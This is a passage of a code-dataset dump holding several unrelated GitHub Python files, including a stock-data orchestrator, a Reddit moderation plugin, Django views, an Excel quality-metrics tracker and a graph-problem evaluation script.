'project_desc', 'project_crew',\n 'project_leader', 'project_support', 'project_status']\n","repo_name":"CureLatte/T_P","sub_path":"articleapp/serializer.py","file_name":"serializer.py","file_ext":"py","file_size_in_byte":483,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"70191868552","text":"#!/usr/bin/python3\n\"\"\"prints a square of # chars based on size\"\"\"\n\n\ndef print_square(size):\n \"\"\"prints a square, validating usage\"\"\"\n if type(size) is not int:\n raise TypeError('size must be an integer')\n if size < 0:\n raise ValueError('size must be >= 0')\n for square in range(size):\n print(size * '#')\n","repo_name":"AdamNB-sys/holbertonschool-higher_level_programming","sub_path":"0x07-python-test_driven_development/4-print_square.py","file_name":"4-print_square.py","file_ext":"py","file_size_in_byte":337,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"27711578998","text":"\"\"\"\"Get Stock data orchestrator function\"\"\"\n\n\nimport logging\nfrom datetime import datetime, timedelta\n\nimport azure.durable_functions as df\n\nfrom shared_code import utils\n\n\ndef orchestrator_function(context: df.DurableOrchestrationContext):\n \"\"\"Get data for all stocks from api\"\"\"\n logging.info(\"Getting stock data\")\n\n # initialize variables\n symbols = context.get_input()[\"symbols\"]\n transactions = context.get_input()[\"transactions\"]\n user_data = context.get_input()[\"user_data\"]\n stock_data = {}\n forex_data = {}\n\n # get data for all symbols\n for symbol in symbols:\n temp_data = yield context.call_activity(\n \"call_alphavantage_api\",\n [\n f\"https://www.alphavantage.co/query?function=TIME_SERIES_DAILY_ADJUSTED&symbol={symbol}&outputsize=full&datatype=compact\",\n user_data[\"alpha_vantage_api_key\"],\n ],\n )\n temp_data = filter_stock_data(temp_data, transactions, symbol)\n stock_data.update({symbol: temp_data})\n\n # get forex data\n currencies = utils.get_unique_items(transactions, \"currency\")\n for currency in currencies:\n if currency == \"GBX\":\n currency = \"GBP\"\n temp_data = yield context.call_activity(\n \"call_alphavantage_api\",\n [\n f\"https://www.alphavantage.co/query?function=FX_DAILY&from_symbol={currency}&to_symbol={user_data['currency']}&outputsize=full\",\n user_data[\"alpha_vantage_api_key\"],\n ],\n )\n gbx_data = {\n \"Meta Data\": {\n \"1. Information\": \"Forex Daily Prices (open, high, low, close)\",\n \"2. From Symbol\": user_data[\"currency\"],\n \"3. To Symbol\": \"GBX\",\n \"4. Output Size\": \"Full size\",\n \"5. Last Refreshed\": \"2022-02-09 19:05:00\",\n \"6. Time Zone\": \"UTC\",\n },\n \"Time Series FX (Daily)\": {},\n }\n for single_date, date_data in temp_data[\"Time Series FX (Daily)\"].items():\n gbx_data[\"Time Series FX (Daily)\"].update(\n {\n single_date: {\n \"1. open\": float(date_data[\"1. open\"]) / 100,\n \"2. high\": float(date_data[\"2. high\"]) / 100,\n \"3. low\": float(date_data[\"3. low\"]) / 100,\n \"4. close\": float(date_data[\"4. close\"]) / 100,\n }\n }\n )\n gbx_data = filter_forex_data(gbx_data, transactions, \"GBX\")\n forex_data.update({\"GBX\": gbx_data})\n else:\n temp_data = yield context.call_activity(\n \"call_alphavantage_api\",\n [\n f\"https://www.alphavantage.co/query?function=FX_DAILY&from_symbol={currency}&to_symbol={user_data['currency']}&outputsize=full\",\n user_data[\"alpha_vantage_api_key\"],\n ],\n )\n temp_data = filter_forex_data(temp_data, transactions, currency)\n forex_data.update({currency: temp_data})\n\n return {\n \"stock_data\": stock_data,\n \"forex_data\": forex_data,\n }\n\n\ndef filter_stock_data(data: dict, transactions: list, symbol: str) -> dict:\n \"\"\"Filter data to only include dates that have transactions\"\"\"\n transactions = [d for d in transactions if d[\"symbol\"] == symbol]\n transactions.sort(key=lambda x: x[\"date\"])\n oldest_date = datetime.strftime(\n datetime.strptime(transactions[0][\"date\"], \"%Y-%m-%d\") - timedelta(days=30),\n \"%Y-%m-%d\",\n )\n meta_data = data[\"Meta Data\"]\n time_series = data[\"Time Series (Daily)\"]\n time_series = {k: v for k, v in time_series.items() if k >= oldest_date}\n\n return {\"Meta Data\": meta_data, \"Time Series (Daily)\": time_series}\n\n\ndef filter_forex_data(data: dict, transactions: list, currency: str) -> dict:\n \"\"\"Filter data to only include dates that have transactions\"\"\"\n transactions = [d for d in transactions if d[\"currency\"] == currency]\n transactions.sort(key=lambda x: x[\"date\"])\n oldest_date = datetime.strftime(\n datetime.strptime(transactions[0][\"date\"], \"%Y-%m-%d\") - timedelta(days=30),\n \"%Y-%m-%d\",\n )\n meta_data = data[\"Meta Data\"]\n time_series = data[\"Time Series FX (Daily)\"]\n time_series = {k: v for k, v in time_series.items() if k >= oldest_date}\n\n return {\"Meta Data\": meta_data, \"Time Series FX (Daily)\": time_series}\n\n\nmain = df.Orchestrator.create(orchestrator_function)\n","repo_name":"JoranSlingerland/StockTracker","sub_path":"get_api_data/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":4663,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"27"} +{"seq_id":"30514983936","text":"import os\nimport json\nfrom time import time\nfrom datetime import datetime\n\ndef plugin_config_init(workpath):\n config = os.path.join(workpath, 'plugin', 'config', 'brigade-troller.json')\n with open(config, \"r\") as jsonfile:\n settings = json.load(jsonfile)\n return settings \n\nclass AutoJannyPlugin:\n \n name = 'Brigade troller'\n description = 'Trolls brigading accounts with kindness. Identifies new or sleeper accounts that brigade a thread with specific flair ID \\\n and replies to them with welcome message. Filtering messages via Automod is advise to not disturb users commenting in good faith.'\n \n # valid types are: submission, comment, report\n plugin_type = 'comment'\n priority = 0\n\n # possible input kwargs are reddit, pushift, youtube, discord, subreddit, submission, comment, workpath. datanbase\n # **_ discards unexpected arguments so that we don't have to store them for separate threads \n def __init__(self, reddit, pushift, workpath, **_):\n data = []\n self.reddit = reddit\n self.pushift = pushift\n self.settings = plugin_config_init(workpath)\n self.priority = self.settings['priority']\n \n async def run_rules(self, comment, **_):\n stop = False\n activity_found = False\n stop_reason = ''\n results = []\n \n await comment.submission.load()\n if hasattr(comment.submission, 'link_flair_template_id'):\n if comment.submission.link_flair_template_id == self.settings['antibrigade_flair']:\n print('antibrigade flair detected')\n \n subreddit = await self.reddit.subreddit(comment.subreddit.display_name)\n async for submission in subreddit.search(('author:' + comment.author.name).format('user'), time_filter='year'):\n print('checking posts')\n results.append(submission.id)\n \n if results == []:\n activity_found = False\n print('found posts')\n \n if not activity_found:\n reference_time = time()\n threshold = time() - self.settings['time_threshold']\n results = []\n print('starting comment lookback')\n author = await self.reddit.redditor(comment.author.name)\n latest_subreddit_activity = 0\n oldest_reddit_activity = time()\n \n async for subcomment in author.comments.new(limit=100):\n if reference_time - subcomment.created_utc > 86400:\n if latest_subreddit_activity < subcomment.created_utc and subcomment.subreddit.display_name == comment.subreddit.display_name:\n latest_subreddit_activity = subcomment.created_utc\n elif oldest_reddit_activity > subcomment.created_utc:\n oldest_reddit_activity = subcomment.created_utc\n\n if latest_subreddit_activity > self.settings['time_threshold']:\n activity_found = True\n \n print('oldest reddit activity' + datetime.utcfromtimestamp(oldest_reddit_activity).strftime('%d/%m/%Y'))\n print('latest subreddit activity' + datetime.utcfromtimestamp(latest_subreddit_activity).strftime('%d/%m/%Y'))\n \n if latest_subreddit_activity == 0 and oldest_reddit_activity < reference_time - 10:\n stop_reason = self.settings['no_activity_text']\n elif latest_subreddit_activity == 0:\n stop_reason = self.settings['no_activity_text']\n elif latest_subreddit_activity < self.settings['time_threshold']:\n cutoff_date = reference_time - self.settings['time_threshold']\n stop_reason = self.settings['no_activity_within_threshold'] + datetime.utcfromtimestamp(cutoff_date).strftime('%d/%m/%Y')\n \n if not activity_found:\n print('no activity found')\n #reply = await comment.reply(self.settings['reply_header'] + stop_reason + self.settings['reply_footer'])\n #await reply.mod.distinguish() \n \n print(self.name + ': processed')\n return stop","repo_name":"miskz/AutoJanny","sub_path":"plugin/brigade_troller.py","file_name":"brigade_troller.py","file_ext":"py","file_size_in_byte":4467,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"19122457515","text":"from datetime import date\n\nfrom rest_framework import mixins, viewsets\nfrom rest_framework.response import Response\n\nfrom django.utils.timezone import timedelta\n\nfrom backend.tasks import models, serializers\n\nfrom backend.utils.week_converter import week_number_to_date_range\n\n\nclass TaskViewSet(mixins.CreateModelMixin,\n mixins.ListModelMixin,\n mixins.RetrieveModelMixin,\n mixins.UpdateModelMixin,\n viewsets.GenericViewSet):\n\n # pylint: disable=no-member\n queryset = models.Task.objects\n serializer_class = serializers.base.TaskSerializer\n\n def get_queryset(self):\n\n queryset = self.queryset\n\n serializer = serializers.query.TaskQuerySerializer(\n data=self.request.query_params\n )\n\n if not serializer.is_valid():\n return queryset.all()\n\n user_id = serializer.validated_data.get('user_id', None)\n if user_id:\n queryset = queryset.of_user(user_id)\n\n return queryset.all()\n\n\nclass RecordViewSet(mixins.ListModelMixin,\n mixins.RetrieveModelMixin,\n mixins.UpdateModelMixin,\n viewsets.GenericViewSet):\n\n # pylint: disable=no-member\n queryset = models.Record.objects\n serializer_class = serializers.extended.ExtendedRecordSerializer\n\n def get_queryset(self):\n\n queryset = self.queryset\n\n serializer = serializers.query.RecordQuerySerializer(\n data=self.request.query_params\n )\n\n if not serializer.is_valid():\n return queryset.all()\n\n week_no = serializer.validated_data.get('week_no', None)\n start_of_week, end_of_week = week_number_to_date_range(week_no)\n if week_no:\n return queryset.filter_date_range(start_of_week, end_of_week).all()\n\n date = serializer.validated_data.get('date', None)\n auto_create = serializer.validated_data.get('auto_create', None)\n if date:\n queryset = queryset.date(date)\n\n if auto_create:\n tasks = models.Task.objects.of_user(self.request.user)\n\n newly_created_records_ids = []\n for task in tasks:\n obj, created = models.Record.objects.get_or_create(\n of_task=task, date=date)\n\n if created:\n newly_created_records_ids.append(obj.id)\n\n created_records = models.Record.objects.filter(\n id__in=newly_created_records_ids)\n\n queryset.union(created_records)\n\n return queryset.all()\n","repo_name":"orlantquijada/daily-routine-api","sub_path":"backend/tasks/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2631,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"36916430737","text":"# Encapsulates warning setting history Excel report\n# The report is updated with data from the warning settings report\n\nimport os\nfrom openpyxl import *\nfrom datetime import *\n\n\nclass QualityMetricsHistory:\n\n def __init__(self, unit_collection):\n self.unit_collection = unit_collection\n self.filename = r'QualityMetricsHistory.xlsx'\n self.worksheet_names = [\"Wrong warning level\", \"Treat warning not as error\", \"Suppressed warnings\", \"Actual warnings\", \"Coverity level 1\", \"Coverity level 2\", \"Security level 1\", \"Security level 2\",\"TQI\",\"tqiAbstrInt\",\"tqiCompWarn\",\"tqiCodingStd\",\"tqiDupCode\",\"tqiDeadCode\",\"tqiSecurity\",\"loc\"]\n\n self.date_format = \"%d-%b-%Y\"\n\n if not os.path.isfile(self.filename):\n self._create_workbook()\n\n def update(self):\n print(\"begin update history\")\n\n today = date.today()\n time_stamp = today.strftime(self.date_format)\n\n for unit in self.unit_collection.units:\n unit.update_path_last_successful_build()\n \n wb = load_workbook(self.filename)\n print('The file is ',self.filename,wb.worksheets[0],wb.worksheets[12])\n self._fill_worksheet_wrong_warning_level(wb.worksheets[0], time_stamp)\n \n self._fill_worksheet_treat_warnings_not_as_errors(wb.worksheets[1], time_stamp)\n self._fill_worksheet_suppressed_warnings(wb.worksheets[2], time_stamp)\n self._fill_worksheet_actual_warnings(wb.worksheets[3], time_stamp)\n self._fill_worksheet_coverity_warnings(wb.worksheets[4], time_stamp, 1)\n self._fill_worksheet_coverity_warnings(wb.worksheets[5], time_stamp, 2)\n self._fill_worksheet_security_warnings(wb.worksheets[6], time_stamp, 1)\n self._fill_worksheet_security_warnings(wb.worksheets[7], time_stamp, 2)\n \n \n #####################\n self._fill_worksheet_TQI(wb.worksheets[8], time_stamp)\n self._fill_worksheet_tqiAbstrInt(wb.worksheets[9], time_stamp)\n self._fill_worksheet_tqiCompWarn(wb.worksheets[10], time_stamp)\n self._fill_worksheet_tqiCodingStd(wb.worksheets[11], time_stamp)\n self._fill_worksheet_tqiDupCode(wb.worksheets[12], time_stamp)\n self._fill_worksheet_tqiDeadCode(wb.worksheets[13], time_stamp)\n self._fill_worksheet_tqiSecurity(wb.worksheets[14], time_stamp)\n self._fill_worksheet_loc(wb.worksheets[15], time_stamp)\n \n #####################\n\n wb.save(self.filename)\n\n print(\"end update history\")\n\n # wrong warning level\n def get_values_wrong_warning_level(self):\n wb = load_workbook(self.filename)\n return self._get_values(wb.worksheets[0])\n\n def get_deltas_wrong_warning_level(self):\n wb = load_workbook(self.filename)\n return self._get_deltas(wb.worksheets[0])\n\n def get_history_wrong_warning_level(self):\n wb = load_workbook(self.filename)\n return self._get_history(wb.worksheets[0])\n\n # treat warning not as errors\n def get_values_treat_warnings_not_as_errors(self):\n wb = load_workbook(self.filename)\n return self._get_values(wb.worksheets[1])\n\n def get_deltas_treat_warnings_not_as_errors(self):\n wb = load_workbook(self.filename)\n return self._get_deltas(wb.worksheets[1])\n\n def get_history_treat_warnings_not_as_errors(self):\n wb = load_workbook(self.filename)\n return self._get_history(wb.worksheets[1])\n\n # suppressed warnings\n def get_values_suppressed_warnings(self):\n wb = load_workbook(self.filename)\n return self._get_values(wb.worksheets[2])\n\n def get_deltas_suppressed_warnings(self):\n wb = load_workbook(self.filename)\n return self._get_deltas(wb.worksheets[2])\n\n def get_history_suppressed_warnings(self):\n wb = load_workbook(self.filename)\n return self._get_history(wb.worksheets[2])\n\n # actual warnings\n def get_values_actual_warnings(self):\n wb = load_workbook(self.filename)\n return self._get_values(wb.worksheets[3])\n\n def get_deltas_actual_warnings(self):\n wb = load_workbook(self.filename)\n return self._get_deltas(wb.worksheets[3])\n\n def get_history_actual_warnings(self):\n wb = load_workbook(self.filename)\n return self._get_history(wb.worksheets[3])\n\n # warnings metric\n def get_history_warning_suppression_indicator(self):\n totals = {}\n\n history_wrong_warning_level = self.get_history_wrong_warning_level()\n history_treat_warnings_not_as_errors = self.get_history_treat_warnings_not_as_errors()\n history_suppressed_warnings = self.get_history_suppressed_warnings()\n history_actual_warnings = self.get_history_actual_warnings()\n\n weight_treat_warnings_not_as_errors = 0\n weight_wrong_warning_levels = 0\n weight_suppressed_warnings = 1\n weight_actual_warnings = 1\n\n for key, value in history_wrong_warning_level.items():\n total = (history_treat_warnings_not_as_errors[key] * weight_treat_warnings_not_as_errors) + \\\n (history_wrong_warning_level[key]) * weight_wrong_warning_levels +\\\n (history_suppressed_warnings[key] * weight_suppressed_warnings) + \\\n (history_actual_warnings[key] * weight_actual_warnings)\n\n totals[key] = total\n\n return totals\n\n # coverity\n \n #### Implemented by Amrendra verma \n ### we need a com\n def get_values_of_worksheet_lastrow(self,Worksheet_nm):\n wb = load_workbook(self.filename)\n wrksheetIdx=self.worksheet_names.index(Worksheet_nm)\n #print('worksheet name = ',Worksheet_nm)\n #print(' index = ',wrksheetIdx)\n return self._get_values(wb.worksheets[wrksheetIdx])\n \n def get_deltas_of_worksheet_lastrow(self,Worksheet_nm):\n wb = load_workbook(self.filename)\n wrksheetIdx=self.worksheet_names.index(Worksheet_nm)\n return self._get_deltas(wb.worksheets[wrksheetIdx])\n \n ########################################\n def get_values_coverity_level_1(self):\n wb = load_workbook(self.filename)\n return self._get_values(wb.worksheets[4])\n\n def get_deltas_coverity_level_1(self):\n wb = load_workbook(self.filename)\n return self._get_deltas(wb.worksheets[4])\n\n def get_history_coverity_level_1(self):\n wb = load_workbook(self.filename)\n return self._get_history(wb.worksheets[4])\n\n def get_values_coverity_level_2(self):\n wb = load_workbook(self.filename)\n return self._get_values(wb.worksheets[5])\n\n def get_deltas_coverity_level_2(self):\n wb = load_workbook(self.filename)\n return self._get_deltas(wb.worksheets[5])\n\n def get_history_coverity_level_2(self):\n wb = load_workbook(self.filename)\n return self._get_history(wb.worksheets[5])\n\n # security\n def get_values_security_level_1(self):\n wb = load_workbook(self.filename)\n return self._get_values(wb.worksheets[6])\n\n def get_deltas_security_level_1(self):\n wb = load_workbook(self.filename)\n return self._get_deltas(wb.worksheets[6])\n\n def get_history_security_level_1(self):\n wb = load_workbook(self.filename)\n return self._get_history(wb.worksheets[6])\n #############Amrendra ###########\n def get_history_of_type_in_par(self,errortype):\n wb = load_workbook(self.filename)\n idx=self.worksheet_names.index(errortype)\n return self._get_history(wb.worksheets[idx])\n ########################\n def get_values_security_level_2(self):\n wb = load_workbook(self.filename)\n return self._get_values(wb.worksheets[7])\n\n def get_deltas_security_level_2(self):\n wb = load_workbook(self.filename)\n return self._get_deltas(wb.worksheets[7])\n\n def get_history_security_level_2(self):\n wb = load_workbook(self.filename)\n return self._get_history(wb.worksheets[7])\n\n def _create_workbook(self):\n wb = Workbook()\n\n for index in range(16):\n if index != 0:\n wb.create_sheet()\n\n self._fill_worksheet_headers(wb.worksheets[index], self.worksheet_names[index])\n\n wb.save(self.filename)\n\n def _fill_worksheet_headers(self, worksheet, title):\n worksheet.title = title\n\n current_column = 1\n\n worksheet.cell(1, current_column).value = \"Date\"\n current_column += 1\n for unit in self.unit_collection.units:\n worksheet.cell(1, current_column).value = unit.unit_name\n current_column += 1\n worksheet.cell(1, current_column).value = \"Total\"\n\n def _fill_worksheet_wrong_warning_level(self, worksheet, time_stamp):\n count_for_all_units = []\n for unit in self.unit_collection.units:\n count_for_unit = unit.get_latest_build_wrong_warning_level_count()\n count_for_all_units.append(count_for_unit)\n self._fill_worksheet(worksheet, time_stamp, count_for_all_units)\n\n def _fill_worksheet_treat_warnings_not_as_errors(self, worksheet, time_stamp):\n count_for_all_units = []\n for unit in self.unit_collection.units:\n count_for_unit = unit.get_latest_build_treat_warnings_not_as_errors_count()\n count_for_all_units.append(count_for_unit)\n self._fill_worksheet(worksheet, time_stamp, count_for_all_units)\n\n def _fill_worksheet_suppressed_warnings(self, worksheet, time_stamp):\n count_for_all_units = []\n for unit in self.unit_collection.units:\n count_for_unit = unit.get_latest_build_suppressed_warning_count()\n count_for_all_units.append(count_for_unit)\n self._fill_worksheet(worksheet, time_stamp, count_for_all_units)\n\n def _fill_worksheet_actual_warnings(self, worksheet, time_stamp):\n count_for_all_units = []\n for unit in self.unit_collection.units:\n count_for_unit = unit.get_latest_build_actual_warning_count()\n count_for_all_units.append(count_for_unit)\n self._fill_worksheet(worksheet, time_stamp, count_for_all_units)\n\n def _fill_worksheet_coverity_warnings(self, worksheet, time_stamp, level):\n count_for_all_units = []\n for unit in self.unit_collection.units:\n count_for_unit = unit.get_latest_build_coverity_error_count(level)\n count_for_all_units.append(count_for_unit)\n print('--- PROB1',count_for_all_units)\n self._fill_worksheet(worksheet, time_stamp, count_for_all_units)\n\n def _fill_worksheet_security_warnings(self, worksheet, time_stamp, level):\n count_for_all_units = []\n for unit in self.unit_collection.units:\n count_for_unit = unit.get_latest_build_security_error_count(level)\n count_for_all_units.append(count_for_unit)\n\n self._fill_worksheet(worksheet, time_stamp, count_for_all_units)\n \n ##################################\n def _fill_worksheet_TQI(self, worksheet, time_stamp):\n count_for_all_units = []\n for unit in self.unit_collection.units:\n count_for_unit = unit.get_latest_build_tictype_count('tqi')\n count_for_all_units.append(count_for_unit)\n self._fill_worksheet(worksheet, time_stamp, count_for_all_units)\n \n def _fill_worksheet_tqiAbstrInt(self, worksheet, time_stamp):\n count_for_all_units = []\n for unit in self.unit_collection.units:\n count_for_unit = unit.get_latest_build_tictype_count('tqiAbstrInt')\n count_for_all_units.append(count_for_unit)\n self._fill_worksheet(worksheet, time_stamp, count_for_all_units)\n \n def _fill_worksheet_tqiCompWarn(self, worksheet, time_stamp):\n count_for_all_units = []\n for unit in self.unit_collection.units:\n count_for_unit = unit.get_latest_build_tictype_count('tqiCompWarn')\n count_for_all_units.append(count_for_unit)\n self._fill_worksheet(worksheet, time_stamp, count_for_all_units)\n \n \n def _fill_worksheet_tqiCodingStd(self, worksheet, time_stamp):\n count_for_all_units = []\n for unit in self.unit_collection.units:\n count_for_unit = unit.get_latest_build_tictype_count('tqiCodingStd')\n count_for_all_units.append(count_for_unit)\n self._fill_worksheet(worksheet, time_stamp, count_for_all_units)\n \n \n def _fill_worksheet_tqiDupCode(self, worksheet, time_stamp):\n count_for_all_units = []\n for unit in self.unit_collection.units:\n count_for_unit = unit.get_latest_build_tictype_count('tqiDupCode')\n count_for_all_units.append(count_for_unit)\n self._fill_worksheet(worksheet, time_stamp, count_for_all_units)\n \n \n def _fill_worksheet_tqiDeadCode(self, worksheet, time_stamp):\n count_for_all_units = []\n for unit in self.unit_collection.units:\n count_for_unit = unit.get_latest_build_tictype_count('tqiDeadCode')\n count_for_all_units.append(count_for_unit)\n self._fill_worksheet(worksheet, time_stamp, count_for_all_units)\n \n \n \n def _fill_worksheet_tqiSecurity(self, worksheet, time_stamp):\n count_for_all_units = []\n for unit in self.unit_collection.units:\n count_for_unit = unit.get_latest_build_tictype_count('tqiSecurity')\n count_for_all_units.append(count_for_unit)\n self._fill_worksheet(worksheet, time_stamp, count_for_all_units)\n \n \n def _fill_worksheet_loc(self, worksheet, time_stamp):\n count_for_all_units = []\n for unit in self.unit_collection.units:\n count_for_unit = unit.get_latest_build_tictype_count('loc')\n count_for_all_units.append(count_for_unit)\n self._fill_worksheet(worksheet, time_stamp, count_for_all_units)\n \n ##################################\n\n def _fill_worksheet(self, worksheet, time_stamp, count_for_all_units):\n current_column = 1\n current_row = worksheet.max_row\n\n last_time_stamp = worksheet.cell(current_row, 1).value\n if not last_time_stamp == time_stamp:\n current_row += 1\n\n total = 0\n worksheet.cell(current_row, current_column).value = time_stamp\n current_column += 1\n print(' PROB2 ',count_for_all_units)\n for count in count_for_all_units:\n if count is None:\n continue\n total += count\n worksheet.cell(current_row, current_column).value = count\n current_column += 1\n worksheet.cell(current_row, current_column).value = total\n\n def _get_values(self, worksheet):\n values = []\n current_row = worksheet.max_row\n\n for index in range(len(self.unit_collection.units)+1):\n current_column = index + 2\n actual_value = worksheet.cell(current_row, current_column).value\n values.append(actual_value)\n current_column += 1\n return values\n\n def _get_deltas(self, worksheet):\n deltas = []\n current_row = worksheet.max_row\n\n for index in range(len(self.unit_collection.units)+1):\n if current_row > 2:\n current_column = index + 2\n actual_value = worksheet.cell(current_row, current_column).value\n\n delta = 0\n days_look_back = 4\n\n row = current_row\n while delta == 0 and row > 2 and days_look_back > 0:\n row -= 1\n days_look_back -= 1\n previous_value = worksheet.cell(row, current_column).value\n if previous_value is None :\n continue\n if actual_value is None :\n continue\n delta = actual_value - previous_value\n\n deltas.append(delta)\n else:\n deltas.append(0)\n return deltas\n\n def _get_history(self, worksheet):\n totals = {}\n date_column = 1\n totals_column = len(self.unit_collection.units) + 2\n\n for row in range(2, worksheet.max_row+1):\n cell_value = worksheet.cell(row, date_column).value\n\n # convert to datetime if date stored as string in excel sheet\n if isinstance(cell_value, str):\n date = datetime.strptime(cell_value, self.date_format)\n else:\n date = cell_value\n\n total = worksheet.cell(row, totals_column).value\n totals[date.date()] = total\n print('@@@@@@@@@@@@@@@@@@@@@@@@@@@')\n print(date)\n print(total)\n print('@@@@@@@@@@@@@@@@@@@@@@@@@@@')\n return totals","repo_name":"amrvermahzb/BuildStatusDashBoard","sub_path":"QualityImprovementMonitor/qualityMetricsHistory.py","file_name":"qualityMetricsHistory.py","file_ext":"py","file_size_in_byte":16753,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"1987294603","text":"from google.cloud import speech_v1p1beta1 as speech\n\ndef transcribe(name):\n client = speech.SpeechClient()\n\n speech_file = 'static/{}.wav'.format(name)\n with open(speech_file, 'rb') as audio_file:\n content = audio_file.read()\n\n audio = speech.types.RecognitionAudio(content=content)\n\n config = speech.types.RecognitionConfig(\n encoding=speech.enums.RecognitionConfig.AudioEncoding.LINEAR16,\n sample_rate_hertz=16000,\n language_code='en-GB',\n enable_speaker_diarization=True,\n diarization_speaker_count=2)\n\n print('Waiting for operation to complete...')\n response = client.recognize(config, audio)\n\n result = response.results[-1]\n\n words_info = result.alternatives[0].words\n\n text = ''\n last_speaker = None\n\n for word_info in words_info:\n if last_speaker != word_info.speaker_tag:\n text += '\\n'\n else:\n text += ' '\n text += word_info.word\n last_speaker = word_info.speaker_tag\n\n return text.strip()\n","repo_name":"jtsalva/Nemoji","sub_path":"transcribe.py","file_name":"transcribe.py","file_ext":"py","file_size_in_byte":1029,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"13955551143","text":"import sys\nsys.stdin = open('input.txt', encoding='UTF_8')\ninput = sys.stdin.readline\n\nN, M = map(int, input().split())\nA = []\nfor _ in range(N):\n A.append(list(map(int, input().split())))\nM, K = map(int, input().split())\nB = []\nfor _ in range(M):\n B.append(list(map(int, input().split())))\n\nanswer_array = [([0] * K) for _ in range(N)]\nA_y = 0\nB_x = 0\nfor i in range(N):\n for j in range(K):\n A_y = 0\n B_x = 0\n while True:\n if A_y == M:\n break\n answer_array[i][j] += A[i][A_y] * B[B_x][j] \n A_y += 1\n B_x += 1\n\nfor answer in answer_array:\n for number in answer:\n print(number, end=' ')\n print('')\n\n'''\n단순 행렬 곱셈 코딩으로 나타내는 문제지만\n헷갈릴 만한 요���가 많다\nA*B 인 경우 A의 행이 고정인지 B의 행이 고정인지, 또는 A의 열이 고정인지 B의 열이 고정인지\n잘 판단해야 한다.\n또한 반복문을 돌리면서 어떠한 값을 계속 초기화시켜줘야 할 것인지에 대해서도 고민이 필요하다.\n'''","repo_name":"LeeHyeonT/TIL","sub_path":"algorithm/baekjun/230206/2740 행렬 곱셈/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":1082,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"31494114344","text":"from django.shortcuts import render\nfrom django.contrib.auth.decorators import login_required\nfrom .models import OutMaterial\nfrom addmaterial.models import AddMaterial,ProductType\nfrom .forms import OutMaterialForm\n\n\n\n\n@login_required(login_url='/login/')\ndef outmaterial(request):\n outmaterials = OutMaterial.objects.all()\n producttype = ProductType.objects.all()\n\n\n if request.method == 'POST':\n form = OutMaterialForm(request.POST)\n if form.is_valid():\n\n model_instance = form.save(commit=False)\n model_instance.input_quality = request.POST.get(\"input_quality\")\n model_instance.unit = request.POST.get(\"unit\")\n model_instance.date = request.POST.get(\"date\")\n model_instance.comment = request.POST.get(\"comment\")\n model_instance.received = request.POST.get(\"received\")\n model_instance.id_number = request.POST.get(\"idnumber\")\n model_instance.used_type = request.POST.get(\"usedtype\")\n model_instance.user = request.user\n model_instance.save()\n outmaterials = OutMaterial.objects.all()\n\n return render(request, 'outmaterial.html', {'outmaterials': outmaterials,'producttypes': producttype})\n\n\n\n else:\n\n form = OutMaterialForm()\n\n\n return render(request, \"outmaterial.html\", {'outmaterials': outmaterials,'form': form,'producttypes': producttype})\n","repo_name":"alvinseyidov/orxanadmin","sub_path":"outmaterial/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1416,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"31916347585","text":"from model import RUN_CSP\nfrom csp_utils import CSP_Instance, Constraint_Language\n\nimport data_utils\nimport argparse\nimport os\nimport numpy as np\nimport glob\nimport networkx as nx\nimport csv\n\nfrom tqdm import tqdm\n\n\ndef get_P_value(n, d, z):\n return ((z / n) - (d / 4.0)) / np.sqrt(d / 4.0)\n\n\ndef evaluate_boosted(network, instances, degree, t_max, attempts=64):\n best_conflict_ratios = []\n mean_conflict_ratios = []\n best_Ps = []\n mean_Ps = []\n\n for i, instance in enumerate(instances):\n output_dict = network.predict_boosted(instance, iterations=t_max, attempts=attempts)\n\n conflicts = np.int32([instance.count_conflicts(assignment) for assignment in output_dict['all_assignments'][:, :, t_max-1]])\n conflict_ratios = conflicts / instance.n_clauses\n\n least_conflicts = output_dict['conflicts']\n best_conflict_ratios.append(least_conflicts)\n mean_conflict_ratios.append(np.mean(conflict_ratios))\n\n cut_values = instance.n_clauses - conflicts\n P = [get_P_value(instance.n_variables, degree, z) for z in cut_values]\n best_P = get_P_value(instance.n_variables, degree, instance.n_clauses - least_conflicts) #np.max(P)\n best_Ps.append(best_P)\n mean_Ps.append(np.mean(P))\n\n print(f'Conflicts for instance {i}: {least_conflicts}, Best P: {best_P}')\n\n print(f'Best Conflicts: {np.mean(best_conflict_ratios)}, Mean Conflicts: {np.mean(mean_conflict_ratios)}')\n print(f'Best P: {np.mean(best_Ps)}, Mean P: {np.mean(mean_Ps)}')\n\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument('-m', '--model_dir', type=str, help='Path to the trained RUN-CSP instance')\n parser.add_argument('-t', '--t_max', type=int, default=100, help='Number of iterations t_max for which RUN-CSP runs on each instance')\n parser.add_argument('-a', '--attempts', type=int, default=64, help='Attempts for each graph')\n parser.add_argument('-d', '--data_path', default=None, help='Path to the evaluation data. Expects a directory with graphs in dimacs format.')\n parser.add_argument('-v', '--n_variables', type=int, default=100, help='Number of variables in each training instance. Only used when --data_path is not specified.')\n parser.add_argument('--degree', type=int, default=3, help='The uniform degree of the regular graphs.')\n parser.add_argument('-i', '--n_instances', type=int, default=1000, help='Number of instances for training. Only used when --data_path is not specified.')\n args = parser.parse_args()\n\n language = Constraint_Language.get_coloring_language(2)\n network = RUN_CSP.load(args.model_dir)\n\n if args.data_path is not None:\n print('loading graphs...')\n names, graphs = data_utils.load_graphs(args.data_path)\n instances = [CSP_Instance.graph_to_csp_instance(g, language, 'NEQ') for g in graphs]\n else:\n print(f'Generating {args.n_instances} training instances')\n graphs = 